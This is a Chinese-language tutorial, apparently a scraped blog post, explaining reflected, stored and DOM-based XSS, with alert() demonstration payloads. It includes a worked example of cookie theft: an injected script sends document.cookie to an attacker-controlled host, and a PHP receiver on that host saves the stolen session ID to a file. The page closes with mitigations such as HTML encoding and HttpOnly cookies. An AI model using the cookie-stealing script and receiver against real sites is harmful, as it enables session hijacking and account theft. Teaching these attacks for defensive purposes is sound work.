1. 程式人生 > >Xss和Csrf介紹

Xss和Csrf介紹

常見 post 接收 一個 spa name down 技術 int

Xss和Csrf介紹

Xss

Xss(跨站腳本攻擊),全稱Cross Site Scripting,惡意攻擊者向web頁面中植入惡意js代碼,當用戶瀏覽到該頁時,植入的代碼被執行,達到惡意攻擊用戶的目的。

Xss攻擊的危害

  • 盜取各類用戶賬號
  • 竊取有商業價值的資料
  • 非法轉賬操作
  • 強制發送電子郵件
  • 控制受害者機器向其它網站發起攻擊
  • 等等...

原因分析

原因:沒有對客戶端提交的數據進行校驗分析,導致惡意代碼被植入。

根本解決:不要相信任何客戶端提交的任何數據!!!

Xss攻擊的分類

  • 反射型Xss攻擊
  • 存貯型Xss攻擊
  • DOMBasedXSS

反射型Xss攻擊

又稱為非持久性跨站點腳本攻擊

,它是最常見的類型的XSS。漏洞產生的原因是攻擊者註入的數據反映在響應中。

正常發送消息:

http://www.test.com/message.php?send=Hello,World!

接收者將會接收信息並顯示Hello,Word

非正常發送消息:

http://www.test.com/message.php?send=<script>alert("foolish!")</script>

接收者接收消息顯示的時候將會彈出警告窗口。

存貯型xss攻擊

又稱持久性Xss攻擊,存貯型Xss的攻擊代碼一般存儲在網站的數據庫中,每當用戶打開網站時被執行,因此危害更大。

舉個栗子:

一個簡單的留言板功能,表單提交域如下,

<input type="text" name="content" value="這裏是用戶填寫的數據">

攻擊者在value填寫

<script>alert('foolish!')</script>

【或者html其他標簽(破壞樣式。。。)、一段攻擊型代碼】,這些代碼便被提交到了數據庫中,其他用戶取出數據顯示的時候,將會執行這些攻擊性代碼。

DOMBasedXSS(基於Dom的跨站點腳本攻擊)

當用戶能夠通過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。

前提是易受攻擊的網站有一個HTML頁面采用不安全的方式從document.location或document.URL或document.referrer獲取數據(或者任何其他攻擊者可以修改的對象),所以應該避免直接從document.location或document.URL或document.referrer獲取數據。

舉個栗子:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

非正常操作:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

使用Xss攻擊來盜取cookie

1、網站所在域名為www.test88.com、攻擊者控制的主機www.linuxtest.com

2、test88.com中的表單,xss.html:

<!DOCTYPE html>
<html>
<head>
    <title>xss攻擊</title>
    <meta charset="utf-8">
</head>
<body>

<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言記錄:<br/>
</body>
</html>

3、惡意攻擊者提交表單時,插入相應代碼:

<script>
var Str=document.cookie;               //獲取cookie
var a =document.createElement('a');        //創建a標簽
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻擊者主機
a.innerHTML="<img src='./aa.jpg'>";        //掩護圖片
document.body.appendChild(a);              //將標簽添加到頁面中
</script>

4、數據(攻擊代碼)插入數據庫

5、攻擊者控制的主機中設置接收盜取的cookie:

<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盜啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>

Xss漏洞的修復

  • HTML Encode
  • 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了
  • 規定表單數據值的類型,比如年齡int、姓名int+string
  • 過濾或移除特殊的Html標簽
  • 過濾JavaScript 事件的標簽

HTML Encode對應關系表:

技術分享圖片

Xss和Csrf介紹